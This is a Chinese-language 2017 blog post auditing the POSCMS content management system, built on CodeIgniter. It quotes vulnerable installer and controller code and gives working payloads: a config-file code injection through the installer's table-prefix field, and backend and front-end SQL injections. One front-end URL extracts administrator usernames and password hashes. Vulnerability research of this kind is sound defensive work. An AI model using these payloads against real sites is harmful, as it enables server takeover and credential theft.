Aug 18, 2017
本文简述一下对一个采用了开源框架的cms的审计过程。
- 0x00 前言
- 0x01 第一弹 安装程序Getshell
- 0x02 后台SQL注入
- 0x03 前台SQL注入
- 0x04 总结
0x00 前言
此套cms采用了CI框架，之前在做漏洞平台的时候也是用的这个框架开发。
CodeIgniter 是一个小巧但功能强大的 PHP 框架，作为一个简单而“优雅”的工具包，它可以为开发者们建立功能完善的 Web 应用程序。
文章写的比较急，以后再补充……
0x01 第一弹 安装程序Getshell
首先我们一般都是在安装的时候，看看有没有重装的可能性，粗略的看了一下代码并没有，但是存在一个有趣的安装getshell问题。
CI框架的数据库配置在：config\database.php,其常见内容如下：
<?php
if (!defined('BASEPATH')) exit('No direct script access allowed');
$active_group = 'default';
$query_builder = TRUE;
$db['default'] = array(
'dsn' => '',
'hostname' => 'localhost',
'username' => 'root',
'password' => 'root',
'port' => '3306',
'database' => 'xxxxx',
'dbdriver' => 'mysqli',
'dbprefix' => 'dr_',
'pconnect' => FALSE,
'db_debug' => true,
'cache_on' => FALSE,
'cachedir' => 'cache/sql/',
'char_set' => 'utf8',
'dbcollat' => 'utf8_general_ci',
'swap_pre' => '',
'autoinit' => FALSE,
'encrypt' => FALSE,
'compress' => FALSE,
'stricton' => FALSE,
'failover' => array(),
);
安装界面：
然后找到这个界面对应的代码 diy\dayrui\controllers\Install.php：
<?php
/**
* 安装程序
*/
public function index() {
$step = max(1, (int)$this->input->get('step'));
switch ($step) {
case 1:
break;
case 2:
$check_pass = true;
$writeAble = $this->_checkFileRight();
$lowestEnvironment = $this->_getLowestEnvironment();
$currentEnvironment = $this->_getCurrentEnvironment();
$recommendEnvironment = $this->_getRecommendEnvironment();
foreach ($currentEnvironment as $key => $value) {
if (false !== strpos($key, '_ischeck') && false === $value) {
$check_pass = false;
}
}
foreach ($writeAble as $value) {
if (false === $value) {
$check_pass = false;
}
}
$this->template->assign(array(
'writeAble' => $writeAble,
'check_pass' => $check_pass,
'lowestEnvironment' => $lowestEnvironment,
'currentEnvironment' => $currentEnvironment,
'recommendEnvironment' => $recommendEnvironment,
));
break;
case 3:
if ($_POST) {
$data = $this->input->post('data');
// 数据库支持判断
$mysqli = function_exists('mysqli_init') ? mysqli_init() : 0;
if (version_compare(PHP_VERSION, '5.5.0') >= 0 && !$mysqli) {
exit(dr_json(0, '您的PHP环境必须启用Mysqli扩展'));
}
// 参数判断
if (!preg_match('/^[\x7f-\xff\dA-Za-z\.\_]+$/', $data['admin'])) {
exit(dr_json(0, '管理员账号格式不正确'));
}
if (!$data['password']) {
exit(dr_json(0, '管理员密码不能为空'));
}
if (!$data['dbname']) {
exit(dr_json(0, '数据库名称不能为空'));
}
if (is_numeric($data['dbname'])) {
exit(dr_json(0, '数据库名称不能是数字'));
}
if (strpos($data['dbname'], '.') !== false) {
exit(dr_json(0, '数据库名称不能存在.号'));
}
$this->load->helper('email');
if (!$data['email'] || !valid_email($data['email'])) {
exit(dr_json(0, 'Email格式不正确'));
}
if ($mysqli) {
if (!@mysqli_real_connect($mysqli, $data['dbhost'], $data['dbuser'], $data['dbpw'])) {
exit(dr_json(0, '[mysqli_real_connect] 无法连接到数据库服务器（'.$data['dbhost'].'），请检查用户名（'.$data['dbuser'].'）和密码（'.$data['dbpw'].'）是否正确'));
}
if (!@mysqli_select_db($mysqli, $data['dbname'])) {
if (!@mysqli_query($mysqli, 'CREATE DATABASE '.$data['dbname'])) {
exit(dr_json(0, '指定的数据库（'.$data['dbname'].'）不存在，系统尝试创建失败，请通过其他方式建立数据库'));
}
}
// utf8方式打开数据库
mysqli_query($mysqli, 'SET NAMES utf8');
} else {
if (!@mysql_connect($data['dbhost'], $data['dbuser'], $data['dbpw'])) {
exit(dr_json(0, mysql_error().'<br>无法连接到数据库服务器（'.$data['dbhost'].'），请检查用户名（'.$data['dbuser'].'）和密码（'.$data['dbpw'].'）是否正确'));
}
if (!@mysql_select_db($data['dbname'])) {
if (!@mysql_query('CREATE DATABASE '.$data['dbname'])) {
exit(dr_json(0, mysql_error().'<br>指定的数据库（'.$data['dbname'].'）不存在，系统尝试创建失败，请通过其他方式建立数据库'));
}
}
// utf8方式打开数据库
mysql_query('SET NAMES utf8');
}
// 格式化端口
list($data['dbhost'], $data['dbport']) = explode(':', $data['dbhost']);
$data['dbport'] = $data['dbport'] ? (int)$data['dbport'] : 3306;
$data['dbprefix'] = $data['dbprefix'] ? $data['dbprefix'] : 'dr_'; // 这个变量可控
// 配置文件
$config = "<?php".PHP_EOL.PHP_EOL;
$config.= "if (!defined('BASEPATH')) exit('No direct script access allowed');".PHP_EOL.PHP_EOL;
$config.= "\$active_group = 'default';".PHP_EOL;
$config.= "\$query_builder = TRUE;".PHP_EOL.PHP_EOL;
$config.= "\$db['default'] = array(".PHP_EOL;
$config.= " 'dsn' => '',".PHP_EOL;
$config.= " 'hostname' => '{$data['dbhost']}',".PHP_EOL;
$config.= " 'username' => '{$data['dbuser']}',".PHP_EOL;
$config.= " 'password' => '{$data['dbpw']}',".PHP_EOL;
$config.= " 'port' => '{$data['dbport']}',".PHP_EOL;
$config.= " 'database' => '{$data['dbname']}',".PHP_EOL;
$config.= " 'dbdriver' => '".($mysqli ? 'mysqli' : 'mysql')."',".PHP_EOL;
$config.= " 'dbprefix' => '{$data['dbprefix']}',".PHP_EOL;
$config.= " 'pconnect' => FALSE,".PHP_EOL;
$config.= " 'db_debug' => true,".PHP_EOL;
$config.= " 'cache_on' => FALSE,".PHP_EOL;
$config.= " 'cachedir' => 'cache/sql/',".PHP_EOL;
$config.= " 'char_set' => 'utf8',".PHP_EOL;
$config.= " 'dbcollat' => 'utf8_general_ci',".PHP_EOL;
$config.= " 'swap_pre' => '',".PHP_EOL;
$config.= " 'autoinit' => FALSE,".PHP_EOL;
$config.= " 'encrypt' => FALSE,".PHP_EOL;
$config.= " 'compress' => FALSE,".PHP_EOL;
$config.= " 'stricton' => FALSE,".PHP_EOL;
$config.= " 'failover' => array(),".PHP_EOL;
$config.= ");".PHP_EOL;
// 保存配置文件
if (!file_put_contents(WEBPATH.'config/database.php', $config)) {
exit(dr_json(0, '数据库配置文件保存失败，请检查文件config/database.php权限！'));
}
// 加载数据库
$this->load->database();
$salt = substr(md5(rand(0, 999)), 0, 10);
$password = md5(md5($data['password']).$salt.md5($data['password']));
// 导入表结构
$this->_query(str_replace(
array('{dbprefix}', '{username}', '{password}', '{salt}', '{email}'),
array($this->db->dbprefix, $data['admin'], $password, $salt, $data['email']),
file_get_contents(WEBPATH.'cache/install/install.sql')
));
// 导入会员菜单数据
$this->_query(str_replace(
'{dbprefix}',
$this->db->dbprefix,
file_get_contents(WEBPATH.'cache/install/member_menu.sql')
));
// 系统配置文件
$this->load->model('system_model');
$config = array(
'SYS_LOG' => 'FALSE',
'SYS_KEY' => 'poscms'.md5(time()),
'SYS_DEBUG' => 'FALSE',
'SYS_HELP_URL' => '',
'SYS_EMAIL' => $data['email'],
'SYS_MEMCACHE' => 'FALSE',
'SYS_UPLOAD_DIR' => SYS_UPLOAD_DIR,
'SYS_CRON_QUEUE' => 0,
'SYS_CRON_NUMS' => 20,
'SYS_CRON_TIME' => 300,
'SYS_ONLINE_NUM' => 1000,
'SYS_ONLINE_TIME' => 7200,
'SYS_NAME' => 'POSCMS',
'SYS_NEWS' => 'TRUE',
'SYS_CMS' => 'POSCMS',
'SYS_UPDATE' => 1,
'SITE_EXPERIENCE' => '经验值',
'SITE_SCORE' => '虚拟币',
'SITE_MONEY' => '金钱',
'SITE_CONVERT' => 10,
'SITE_ADMIN_CODE' => 'FALSE',
'SITE_ADMIN_PAGESIZE' => 8,
'SYS_CACHE_INDEX' => 300,
'SYS_CACHE_MINDEX' => 300,
'SYS_CACHE_MSHOW' => 300,
'SYS_CACHE_MSEARCH' => 300,
'SYS_CACHE_SITEMAP' => 300,
'SYS_CACHE_LIST' => 300,
'SYS_CACHE_MEMBER' => 300,
'SYS_CACHE_ATTACH' => 300,
'SYS_CACHE_FORM' => 300,
'SYS_CACHE_POSTER' => 300,
'SYS_CACHE_SPACE' => 300,
'SYS_CACHE_TAG' => 300,
);
$this->system_model->save_config($config, $config);
// 站点配置文件
$this->load->model('site_model');
$this->load->library('dconfig');
if (is_file(WEBPATH.'config/site/1.php')) {
$config = require WEBPATH.'config/site/1.php';
}
$config['SITE_THEME'] = $config['SITE_TEMPLATE'] = 'default';
$config['SITE_DOMAIN'] = $config['SITE_ATTACH_HOST'] = $config['SITE_ATTACH_URL'] = strtolower($_SERVER['HTTP_HOST']);
$site = array(
'name' => 'POSCMS',
'domain' => strtolower($_SERVER['HTTP_HOST']),
'setting' => $config,
);
$this->site_model->add_site($site);
$this->dconfig->file(WEBPATH.'config/site/1.php')->note('站点配置文件')->space(32)->to_require_one($this->site_model->config, $config);
// 初始化菜单
$this->load->model('menu_model');
$this->menu_model->init();
// 导入默认数据
$this->_query(str_replace(
array('{dbprefix}', '{site_url}'),
array($this->db->dbprefix, 'http://'.strtolower($_SERVER['HTTP_HOST'])),
file_get_contents(WEBPATH.'cache/install/default.sql')
));
exit(dr_json(1, dr_url('install/index', array('step' => $step + 1))));
}
break;
case 4:
$log = array();
$sql = file_get_contents(WEBPATH.'cache/install/install.sql');
preg_match_all('/`\{dbprefix\}(.+)`/U', $sql, $match);
if ($match) {
$log = array_unique($match[1]);
}
$this->template->assign(array(
'log' => implode('<finecms>', $log),
));
break;
case 5:
file_put_contents(WEBPATH.'cache/install.lock', time());
file_put_contents(WEBPATH.'cache/install.new', time());
break;
}
$this->template->assign(array(
'step' => $step,
));
$this->template->display('install_'.$step.'.html', 'admin');
}
然后定位到$data['dbprefix']是可控的，也就是数据库的表前缀，前面的数据库配置文件内容以及交代清楚，接下来构造一个POC： ','x'=>file_put_contents('s.txt','ss'),'b'=>'b
这个POC是在数组中的，会在网站根目录新建一个s.txt内容为ss，在PHP的数组里，你可以放eval等字符，但是这个database.php是不能直接访问的，因为if (!defined('BASEPATH')) exit('No direct script access allowed');这一句是判断是否是框架初始化后加载此文件，否则就不再继续向下运行，好像这种思路都是框架常用的办法。
0x02 后台SQL注入
第二处是在后台的某处搜索上，这个Input是一个日期输入框，但是不是原生的Input。
我们抓包看看请求：
控制器文件位于：diy\module\member\controllers\admin\Home.php
<?php
/**
* 经验值
*/
public function experience() {
$this->_experience();
$uid = (int)$this->input->get('uid');
print_r($this->input);
// 根据参数筛选结果
$param = array('uid' => $uid, 'type' => 0);
$this->input->get('search') && $param['search'] = 1;
// 数据库中分页查询
list($data, $param) = $this->score_model->limit_page($param, max((int)$this->input->get('page'), 1), (int)$this->input->get('total'));
$param['uid'] = $uid;
$_param = $this->input->get('search') ? $this->cache->file->get($this->score_model->cache_file) : $this->input->post('data');
$_param = $_param ? $param + $_param : $param;
$this->template->assign(array(
'list' => $data,
'name' => SITE_EXPERIENCE,
'param' => $_param,
'pages' => $this->get_pagination(dr_url('member/home/experience', $param), $param['total'])
));
$this->template->display('score_index.html');
}
Model文件：diy\module\member\models\Score_model.php
<?php
/*
* 条件查询
*
* @param object $select 查询对象
* @param array $param 条件参数
* @return array
*/
private function _where(&$select, $param) {
$_param = array();
$this->cache_file = md5($this->duri->uri(1).$this->uid.SITE_ID.$this->input->ip_address().$this->input->user_agent()); // 缓存文件名称
// 存在POST提交时，重新生成缓存文件
if (IS_POST) {
$data = $this->input->post('data'); //这里就没有过滤
$this->cache->file->save($this->cache_file, $data, 3600);
$param['search'] = 1;
}
// 存在search参数时，读取缓存文件
if ($param['search'] == 1) {
$data = $this->cache->file->get($this->cache_file);
$_param['search'] = 1;
isset($data['start']) && $data['start'] && $data['start'] != $data['end'] && $select->where('inputtime BETWEEN '.$data['start'].' AND '. $data['end']);
}
$select->where('type', $param['type']);
$select->where('uid', $param['uid']);
$_param['uid'] = $data['uid'];
return $_param;
}
故此出现了一个注入点：
0x03 前台SQL注入
文件位置：diy\module\member\controllers\Account.php，约：757行左右，出现一处变量未过滤的情况。
<?php
/**
* 附件管理
*/
public function attachment() {
$ext = dr_safe_replace($this->input->get('ext'));
$table = $this->input->get('module'); // 这个变量没有过滤
$this->load->model('attachment_model');
$page = max((int)$this->input->get('page'), 1);
// 检测可管理的模块
$module = array();
$modules = $this->get_cache('module', SITE_ID);
if ($modules) {
foreach ($modules as $dir) {
$mod = $this->get_cache('module-'.SITE_ID.'-'.$dir);
$this->_module_post_catid($mod, $this->markrule) && $module[$dir] = $mod['name'];
}
}
// 查询结果
list($total, $data) = $this->attachment_model->limit($this->uid, $page, $this->pagesize, $ext, $table);
$acount = $this->get_cache('member', 'setting', 'permission', $this->markrule, 'attachsize');
$acount = $acount ? $acount : 1024000;
$ucount = $this->db->select('sum(`filesize`) as total')->where('uid', (int)$this->uid)->limit(1)->get('attachment')->row_array();
$ucount = (int)$ucount['total'];
$acount = $acount * 1024 * 1024;
$scount = max($acount - $ucount, 0);
$this->template->assign(array(
'ext' => $ext,
'list' => $data,
'table' => $table,
'module' => $module,
'acount' => $acount,
'ucount' => $ucount,
'scount' => $scount,
'pages' => $this->get_member_pagination(dr_member_url($this->router->class.'/'.$this->router->method, array('ext' => $ext)), $total),
'page_total' => $total,
));
$this->template->display('account_attachment_list.html');
}
dr_safe_replace函数：
<?php
/**
* 安全过滤函数
*
* @param $string
* @return string
*/
function dr_safe_replace($string) {
$string = str_replace('%20', '', $string);
$string = str_replace('%27', '', $string);
$string = str_replace('%2527', '', $string);
$string = str_replace('*', '', $string);
$string = str_replace('"', '"', $string);
$string = str_replace("'", '', $string);
$string = str_replace('"', '', $string);
$string = str_replace(';', '', $string);
$string = str_replace('<', '<', $string);
$string = str_replace('>', '>', $string);
$string = str_replace("{", '', $string);
$string = str_replace('}', '', $string);
return $string;
}
可见调用这个方法还是有用的，但是在官方代码中，module并没有过滤。
于是根据数据库结构构造EXP……
index.php?s=member&c=account&m=attachment&module=&ext=pa&module=d%" and(select 1 from(select count(*),concat((select (select (SELECT distinct concat('[',username,0x3a,password,'] by Coralab') FROM dr_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- x
是不是看的很舒服？ 哈哈，这个基于框架的CMS漏洞还是很多的，抽空继续看，下班了、
0x04 总结
框架中有很多过滤方法，但是开发人员并没有调用它们，虽说Module和Controller分开写没错，但是这个CMS目录结构很散，要不是我之前开发过漏洞平台，也许是看不懂它的加载的……没错，我现在也看不懂。挖掘SQL注入我主要是寻找数据库驱动，然后在query函数体内打印SQL语句，是不是很生猛